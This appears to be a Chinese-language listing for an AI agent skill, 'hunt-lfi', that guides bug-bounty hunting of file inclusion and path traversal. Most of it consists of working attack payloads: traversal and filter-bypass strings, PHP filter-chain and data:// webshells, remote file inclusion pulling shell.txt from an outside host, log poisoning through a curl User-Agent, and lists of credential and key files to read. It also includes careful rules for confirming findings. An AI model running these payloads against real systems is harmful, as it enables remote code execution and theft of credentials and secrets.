关于 hunt-lfi
hunt-lfi 是用于发现和验证本地或远程文件包含及路径遍历问题的安全测试技能,涵盖确认标准、调查步骤和影响评估,并强调不能仅凭间接信号断定漏洞。
主要功能
- 01LFI 与路径遍历测试流程
- 02盲测漏洞确认方法
- 03PHP 包装器与过滤链分析
- 04RFI 与投毒技术
- 05误报验证指南
适用场景
- 01检查 Web 应用中的文件参数
- 02通过回连或响应差异确认盲读
- 03评估 PHP 文件读取能否升级为代码执行
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-lfi安装后在 Claude Code 中输入/hunt-lfi确认已加载。
详细介绍
HUNT-LFI — 本地 / 远程文件包含与路径遍历
核心目标
可导致代码执行的 LFI 属于严重级别。纯文件读取若暴露了机密(.env、wp-config.php、私钥、云凭据),则属高级别;若只能读取非敏感文件,则属中级别。
最具价值的攻击链(按 2026 年的大致可靠性排序):
- PHP 过滤器链 → RCE — 现代首选方法。通过串联
iconv转换,在内存中伪造任意 PHP 负载,可将单纯的php://filter文件读取原语升级为 RCE,无需上传端点,也无需可写文件(Synacktiv,2022)。请参阅下方专门章节。这是影响最大、也最容易被忽略的尝试方向。 - 日志投毒 → RCE — 将 PHP 注入 Apache/Nginx 日志(User-Agent / URL 路径),然后包含该日志。由于越来越多地被
open_basedir和不可读的日志权限阻止,因此应先确认日志可读。 - PHP 包装器 → 源码泄露 —
php://filter/convert.base64-encode/resource=index.php可泄露源码;读取源码以查找更多 LFI 接入点、机密和包含基路径。 - RFI → RCE — 当
allow_url_include=On时,?file=http://OOB/shell.txt会拉取并执行远程代码。现代配置中很少见,但一旦存在就很容易达到严重级别。 - phar:// 反序列化 — 精心构造的 PHAR 加上任意一个针对元数据进行反序列化的接入点 → 对象注入 RCE。
- zip:// / data:// 攻击链,以及过滤器阻止包装器时使用的会话 / 上传投毒。
OOB / 盲 LFI 确认门槛(请先阅读)
LFI 经常是盲的:包含的内容会被解析 / 执行,但不会反映出来;或者页面将文件内容塞入一个你无法查看的模板中。不要仅凭间接信号声称存在 LFI。
哪些情况不算确认
../../etc/passwd与普通值返回不同的状态码或错误字符串。应用可能只是对../进行字符串匹配,并返回预设的 403/500,而根本没有访问文件系统。- 错误消息中回显了你的输入(例如
failed to open '/var/www/../../etc/passwd')。这只是路径格式化器的输出,不能证明文件已被读取。真正的读取会显示文件的内容,而不是你的路径。 - 页面“看起来不一样”。反射输入或 WAF 拦截页面产生的差异,与真正的文件读取无关。
哪些情况算确认
- **直接读取:**出现文件的实际内容(真实的
root:x:0:0:行,或对过滤器输出进行 Base64 解码后得到的真实 PHP 源码)。 - **通过 OOB 外传确认盲读:**使用 php://filter 或类似 XXE 的攻击链,让负载向你的 Burp Collaborator 子域名发起 DNS/HTTP 回调;或者使用触发出站请求的
expect:/// 包装器。Collaborator 收到针对每个接入点唯一标记的命中(DNS + HTTP,且包含服务器源 IP),即可证明包含操作已执行。 - **通过差异 / 时序确认盲读:**包含一个你确定存在且体积较大的文件(
/etc/passwd),再与一个不存在的文件(/etc/passwd_nope_<rand>)进行比较。稳定、可重复的响应长度或延迟差异 = 确实访问了文件系统。再用第三个已知存在的路径确认,以排除巧合。
默认工作流程
- 选择一个唯一标记目标:优先选择内容可精确指纹识别的文件(
/etc/passwd→ grep^root:)。对于盲读,使用 php://filter 进行 Base64 读取并解码——即使 Base64 内容不完整 / 被截断,仍可能解码出可识别的源码。 - 为每个接入点生成带有唯一子标签的 Collaborator 负载(
lfi-page.<collab>、lfi-tpl.<collab>),以便通过回调识别触发的是哪个参数。 - 发送请求,等待 30–120s,然后轮询 OOB。
- 仅在内容匹配、收到 Collaborator 回调,或通过三次稳定验证确认时序 / 长度差异后,才声称存在 LFI。回显的路径和单独的状态码变化均不算确认。
攻击面信号
URL / 请求体参数
?page= ?file= ?path= ?template= ?view= ?lang= ?module=
?include= ?doc= ?load= ?read= ?content= ?theme= ?layout=
?component= ?download= ?img= ?pdf= ?report= ?style= ?dir=
JSON bodies: {"filename":...} {"template":...} {"path":...}
技术栈信号
| 信号 | 利用方向 |
|---|---|
PHP(X-Powered-By、.php、PHPSESSID) | php:// filter-chain RCE、phar://、zip://、data:// |
| 可读取 Apache/Nginx 日志 | 日志投毒 → RCE(先确认日志可读) |
Apache 2.4.49 / 2.4.50(Server: 标头) | CVE-2021-41773 / CVE-2021-42013 路径遍历 → RCE |
Windows 上的 PHP-CGI(XAMPP、php-cgi.exe) | CVE-2024-4577 参数注入 → RCE |
Java servlet(/WEB-INF/) | WEB-INF/web.xml、classes/、application.properties |
| Python Flask/Django | /proc/self/environ、settings.py、SECRET_KEY |
Node.js 文件服务 / res.sendFile、express.static | 路径遍历读取、require() 遍历 |
| Windows IIS / .NET | ..\..\web.config、C:\Windows\win.ini、machineKey |
分步方法
阶段 1 — 找出候选目标
cat recon/$TARGET/urls.txt | gf lfi > recon/$TARGET/lfi-candidates.txt
grep -E "(\?|&)(page|file|path|template|view|lang|module|include|doc|load|read|content|download|img|pdf|report|dir)=" \
recon/$TARGET/urls.txt
ffuf -u "https://$TARGET/FUZZ" -w ~/wordlists/lfi-paths.txt -mc 200,301,302
阶段 2 — 路径遍历(读取)
?file=../../../etc/passwd
?file=....//....//....//etc/passwd # ../ stripping once → ....// survives
?file=..%2f..%2f..%2fetc%2fpasswd # single URL-encode
?file=..%252f..%252f..%252fetc%252fpasswd # double encode (decoded twice server-side)
?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd # encode dots too
?file=/etc/passwd%00.png # null byte — PHP < 5.3.4 only
?file=....\/....\/etc\/passwd # mixed slash
# Prefix-forced base (app prepends /var/www/): pad with extra ../, or absolute path if no prefix
# UTF-8 overlong: %c0%ae%c0%ae%2f (legacy servers)
# Windows
?file=..\..\..\windows\win.ini
?file=..%5c..%5c..%5cwindows%5cwin.ini
?file=C:\inetpub\wwwroot\web.config
阶段 3 — PHP 包装器(源码泄露)
?file=php://filter/convert.base64-encode/resource=index.php # decode base64 → source
?file=php://filter/read=string.rot13/resource=config.php
?file=php://filter/convert.base64-encode/resource=../app/Config.php
# Always base64-encode source reads: raw <?php ... ?> is parsed/swallowed and you see nothing.
阶段 4 — PHP Filter-Chain → RCE(无需上传、无需可写文件)
这是当前的旗舰技术(Synacktiv,2022 年)。如果你有一个支持 php:// 的 LFI,可以读取文件,那么也可以执行攻击者指定的 PHP。iconv 字符集转换在 php://filter 中串联后,会生成受控字节并添加到资源前面,直到伪造出完整的 <?php ... ?> 负载,然后由 include() 执行。无需上传端点、无需访问日志,也无需可写路径。
# Generate the chain (public command-line, no CVE — it abuses documented iconv behaviour):
# git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# Tool prints a long php://filter|convert.iconv.*|...|resource=php://temp string.
# Drop it into the sink:
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|...<long-chain>...|convert.base64-decode/resource=php://temp&c=id
注意事项:
- 包含操作必须接受
php://filter方案(大多数在参数上调用include/require/file_get_contents的 LFI 都支持)。 - 负载会变得很长(10–50KB)。如果参数有长度上限,或因大小被 WAF 拦截,可将其移至 POST 请求体,或使用最小负载(
<?=简写?>)。 - 对于盲测目标,可将链式负载设为 Collaborator 回调(
<?php file_get_contents("http://x.<collab>/".id);?>),以通过带外方式确认执行。 - 即使日志投毒失败(日志不可读、
open_basedir),此方法仍然有效。只要有 php:// filter 读取功能,就应尝试。
阶段 5 — 代码执行包装器(配置前提)
# data:// — executes inline; REQUIRES allow_url_include=On
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id # <?php system($_GET['c']);?>
# php://input — body is treated as the included resource; ALSO REQUIRES allow_url_include=On
# POST ?file=php://input body: <?php system($_GET['c']); ?>
# (Same prerequisite as data://. Do NOT assume this works on default PHP config.)
# expect:// — direct command exec; requires the (rare) expect extension loaded
?file=expect://id
阶段 6 — 远程文件包含(RFI)
RFI = 包含目标是远程 URL。前提条件:allow_url_include=On(以及 allow_url_fopen=On)。现代 PHP 默认关闭,但在旧版或配置错误的主机上仍可见。
# Host a payload you control, then:
?file=http://OOB-HOST/shell.txt # shell.txt contains <?php system($_GET['c']); ?>
?file=https://OOB-HOST/shell.txt?
?file=ftp://OOB-HOST/shell.txt
# Detection without RCE: point at a Burp Collaborator HTTP URL. A callback (server IP) = the
# include fetched remotely → RFI confirmed even if execution is blocked. No callback = not RFI.
# Bypass appended extension (?file=$x.".php"): trailing ? or # to truncate, or ?file=http://OOB/shell
阶段 7 — 日志投毒 → RCE
# Step 1: inject PHP into a log the include can read
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "User-Agent: <?php system(\$_GET['c']); ?>"
# Step 2: include it (verify the log is readable first — read it plain before poisoning)
?file=../../../var/log/apache2/access.log&c=id
?file=../../../var/log/nginx/access.log&c=id
?file=/proc/self/fd/0&c=id # stdin fd (varies)
# Candidate logs: /var/log/apache2/access.log /var/log/httpd/access_log
# /var/log/nginx/access.log /var/log/auth.log (SSH user poisoning) /proc/self/environ
阶段 8 — 会话 / 上传投毒
# PHP session: set payload in a stored field (username/profile), then include the session file
?file=/var/lib/php/sessions/sess_<PHPSESSID>&c=id
?file=/tmp/sess_<PHPSESSID>&c=id
# phar:// object injection (needs an unserialize-on-metadata sink + any file upload):
?file=phar:///var/www/uploads/evil.jpg # JPEG magic bytes prepended to a PHAR
# zip:// — archive containing the target, or a symlink to /etc/passwd
?file=zip:///var/www/uploads/a.zip%23path/inside.txt
阶段 9 — 自动化(然后手动确认所有结果)
ffuf -u "https://$TARGET/page.php?file=FUZZ" -w ~/wordlists/lfi.txt -mc all -fr "not found"
wfuzz -c -z file,/usr/share/wfuzz/wordlist/vulns/lfi.txt --hh <baseline-len> \
"https://$TARGET/page.php?file=FUZZ"
dotdotpwn -m http -h $TARGET -o unix
# Burp: Intruder over the bypass table; Collaborator for blind/RFI confirmation.
已命名 CVE / 公开技术(依据)
以上模式的已验证且归属准确的参考资料:
- PHP filter-chain 到 RCE — Synacktiv 研究(2022 年);
php_filter_chain_generator。不是 CVE,而是对已记录iconv行为的滥用。这也是普通文件读取可升级为严重漏洞的原因。 - CVE-2021-41773 — Apache HTTP Server 2.4.49 路径遍历(规范化路径中的
%2e)→ 文件读取;启用mod_cgi时可导致 RCE。 - CVE-2021-42013 — Apache HTTP Server 2.4.50 对上述漏洞的不完整修复(双重编码的
%%32%65)→ 路径遍历/RCE。 - CVE-2024-4577 — Windows 上的 PHP-CGI 参数注入(Best-Fit 编码);可在 XAMPP 风格的技术栈上触发,可从文件服务漏洞进一步利用至 RCE。
依据说明:此技能基于 31 份已披露的 LFI/路径遍历报告。在报告中引用具体的 HackerOne 报告时,请链接你使用的确切报告 URL/ID,不要凭记忆转述报告 ID。错误的 ID 比不提供更糟。
要读取的敏感文件
# Linux
/etc/passwd /etc/hosts /etc/shadow (rarely readable)
/proc/self/environ /proc/self/cmdline /proc/self/status
/var/www/html/.env /var/www/html/config.php /var/www/html/wp-config.php
/home/*/.ssh/id_rsa ~/.ssh/id_rsa /root/.bash_history
/var/www/html/app/config/parameters.yml # Symfony
.git/config .git/HEAD composer.json package.json
# App / cloud secrets
/proc/self/environ ~/.aws/credentials ~/.docker/config.json /run/secrets/*
# Windows / .NET
C:\Windows\win.ini C:\inetpub\wwwroot\web.config ..\..\web.config
C:\Windows\System32\inetsrv\config\applicationHost.config
绕过表
| 过滤器 | 绕过方式 |
|---|---|
仅剥离一次 ../ | ....// 或 ..../\(剥离后重新形成 ../) |
| 仅进行一次 URL 解码 | %252f(对 / 进行双重编码),点号使用 %252e |
解码一次后阻止 .. | 编码点号:%2e%2e%2f / 超长编码 %c0%ae(旧版) |
在输入后追加 .php | 使用 ? 或 # 截断;空字节 %00(PHP < 5.3.4) |
阻止 php:// 协议 | 尝试 PHP://、pHp:// 或 data:// / expect:// |
| 添加固定基础目录前缀 | 使用足够多的 ../ 逃逸;若未添加基础目录前缀,则使用绝对路径 |
阻止字面量 /etc/passwd | 路径截断、/etc/./passwd、/etc//passwd |
| WAF 针对较长过滤器链 | 将过滤器链移至 POST 正文 / 精简载荷 |
| Windows | ..\..\..\windows\win.ini、..%5c..%5c |
链式攻击表
- LFI 原语 | 链接到 | 影响 |
|---------------|----------|--------|
|
php://filter读取 | 过滤器链 RCE(阶段 4) | 无需上传即可实现 RCE — 严重 | | 文件读取 |.env/config.php/wp-config.php| 数据库凭据、API 密钥 → 接管后端 | | 文件读取 |/proc/self/environ、~/.aws/credentials| 环境变量机密、云密钥 → SSRF/IAM 横向转移 | | 远程 URL 包含 | RFI(allow_url_include) | 直接实现 RCE — 严重 | | 文件读取 + 上传 | phar:// / 日志 / 会话投毒 | RCE — 严重 | | 源码泄露 | 完整应用源码 | 硬编码机密、新的漏洞入口、machineKey |
验证
运行此自测以确认已准备好进行 LFI 漏洞搜寻:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-lfi" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能具有类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分 — 确认已记录常见陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部 3 项测试用于验证技能结构正确且可供使用。
常见陷阱
- LFI 未获取文件内容 — 在不含密码哈希的现代系统上读取
/etc/passwd只能提供参考信息。需要 shadow 文件、SSH 密钥或应用配置。 - 路径遍历但非 LFI —
../../../etc/passwd返回 200,但没有文件内容,这是路径遍历而非 LFI。两者属于不同的攻击类别。 - LFI 到 RCE 的攻击链不完整 — LFI 读取
/proc/self/environ或进行日志投毒需要满足特定条件。请记录完整攻击链。 - PHP 包装器攻击链 —
php://filter的 base64 编码可用于许多 PHP 版本。不要假设 LFI 无法利用,应先进行测试。 - 空字节注入 —
%00截断漏洞已在 PHP 5.3.4+ 中修补。不适用于现代 PHP。
相关技能
hunt-rce— 在 PHP/Java 技术栈中,LFI 是通过过滤器链、日志投毒或 phar:// 反序列化实现 RCE 最直接的途径。攻击链原语:php://filter iconv 链(Synacktiv,2022)可将文件读取原语转换为任意 PHP 执行,无需上传文件或可写文件,只需 include() 调用和较长的过滤器 URL →?cmd=id即可输出命令结果。hunt-source-leak— LFI 文件读取与源码泄露存在重叠。攻击链原语:LFI 读取.env、wp-config.php、config.yml→ 提取数据库凭据、API 密钥、机密 → 将这些信息提供给 cloud-iam-deep 以实现权限提升。hunt-file-upload— 文件上传与 LFI 结合是经典的 RCE 攻击链。攻击链原语:上传带有GIF89a;<?php system($_GET['c']);?>魔数的图像 → LFI 包含/uploads/exploit.jpg→ PHP 随即将其作为脚本处理,实现 RCE。hunt-ssrf— 通过包装器链实现的 LFI 有时可以访问内部网络。攻击链原语:包含一个会触发 SSRF 的文件,或使用 RFI(allow_url_include=On)获取远程 URL,通过 LFI 原语实现 SSRF。hunt-source-leak— LFI 读取的源文件可能揭示其他漏洞。攻击链原语:LFI 读取index.php→ 发现包含路径和其他 LFI 参数 → 扩大攻击面。security-arsenal— 在测试手动构造的载荷前,先使用 LFI 包装器树(php://filter、php://input、data://、phar://、zip://、expect://)。过滤器链 RCE 生成器位于 arsenal 参考资料中。
验证规范
直接读取证明(避免误报):
- 展示实际内容,而不是回显的路径。
/etc/passwd必须包含一行字面内容root:x:0:0:root:/root:。将响应与已知正常的参数值进行对比——差异必须是文件正文,而不是 WAF/错误页面。 - 对于源代码读取,base64 必须能解码为有效的 PHP。解码结果是乱码或为空,就不算真正读取成功。
- 排除反射:确认标记文本并非只是原样返回的输入。请求
/etc/passwd和/etc/passwd_<rand>(不存在的文件)——只有真实文件会返回内容。
盲测/带外证明:
- 没有反射?使用会向唯一的 Burp Collaborator 子域名回连的 php://filter-chain 或 RFI payload。只有确认收到 DNS 和 HTTP 请求,且来源 IP 是服务器的,才能认定 include 已执行。每个 sink 使用单独的子标签。
- 基于时间/长度的盲测:三次确认稳定的差异(已知的大文件、不存在的文件和另一个已知文件)。单次差异只是噪声——应撤回结论。
部分读取/截断读取:
- 模板可能会对文件进行 HTML 转义或截断。使用
php://filter/convert.base64-encode,即使读取结果被截断,解码后仍能得到可识别的字节;准确报告实际恢复的内容,不要猜测缺失部分。
**RCE 证明:**展示由你控制的命令输出——反射出的 id / whoami / hostname,或从已执行的 payload 内部发出的带外回连(curl http://<collab>/)。“payload 已被接受”不代表实现了 RCE。
严重性:
- 读取非敏感文件:中危
- 读取文件并暴露数据库凭据/API 密钥/私钥/云凭据:高危
- 通过 filter-chain / RFI / 日志/会话/phar/CVE 实现 RCE:严重